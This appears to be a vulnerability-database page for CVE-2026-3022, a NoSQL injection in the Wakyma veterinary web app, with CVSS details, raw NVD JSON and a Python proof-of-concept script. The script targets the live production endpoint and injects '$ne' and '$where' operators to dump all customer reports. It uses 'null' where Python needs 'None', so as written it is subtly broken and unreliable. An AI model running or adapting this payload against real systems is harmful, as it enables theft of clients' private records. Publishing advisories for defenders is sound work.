Security Vulnerability Report
中文
CVE-2026-3022 CVSS 6.5 MEDIUM

CVE-2026-3022

Published: 2026-03-16 14:19:45
Last Modified: 2026-03-19 20:05:34

Description

Non-relational SQL injection vulnerability (NoSQLi) in the Wakyma web application, specifically in the endpoint 'vets.wakyma.com/hospitalization/generate-hospitalization-summary'. This vulnerability could allow an authenticated user to alter a POST request to the affected endpoint for the purpose of injecting special NoSQL commands, resulting in the attacker being able to obtain customer reports.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:wakyma:wakyma:-:*:*:*:*:*:*:* - VULNERABLE
Wakyma Web Application (all versions prior to patch)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-3022 NoSQL Injection PoC for Wakyma # Target: vets.wakyma.com/hospitalization/generate-hospitalization-summary TARGET_URL = "https://vets.wakyma.com/hospitalization/generate-hospitalization-summary" # Valid authentication token (low-privilege user) AUTH_TOKEN = "Bearer <your_auth_token_here>" headers = { "Authorization": AUTH_TOKEN, "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Malicious payload to extract all customer reports # Injecting NoSQL operators to bypass authentication/authorization malicious_payload = { "hospitalization_id": { "$ne": null }, "$where": "function() { return true; }" } try: print("[*] Sending NoSQL injection payload...") response = requests.post( TARGET_URL, headers=headers, json=malicious_payload, timeout=30, verify=False ) print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: data = response.json() print(f"[+] Success! Retrieved {len(data.get('reports', []))} customer reports") print("[+] Sample data:", json.dumps(data, indent=2)) else: print(f"[-] Request failed: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3022", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:45.493", "lastModified": "2026-03-19T20:05:34.473", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Non-relational SQL injection vulnerability (NoSQLi) in the Wakyma web application, specifically in the endpoint 'vets.wakyma.com/hospitalization/generate-hospitalization-summary'. This vulnerability could allow an authenticated user to alter a POST request to the affected endpoint for the purpose of injecting special NoSQL commands, resulting in the attacker being able to obtain customer reports."}, {"lang": "es", "value": "Vulnerabilidad de inyección SQL no relacional (NoSQLi) en la aplicación web Wakyma, específicamente en el endpoint 'vets.wakyma.com/hospitalization/generate-hospitalization-summary'. Esta vulnerabilidad podría permitir a un usuario autenticado alterar una solicitud POST al endpoint afectado con el propósito de inyectar comandos NoSQL especiales, lo que resultaría en que el atacante pueda obtener informes de clientes."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-943"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wakyma:wakyma:-:*:*:*:*:*:*:*", "matchCriteriaId": "5E72E411-C3E6-4BC9-81BD-E6F33F0C0174"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-wakyma-application-web", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}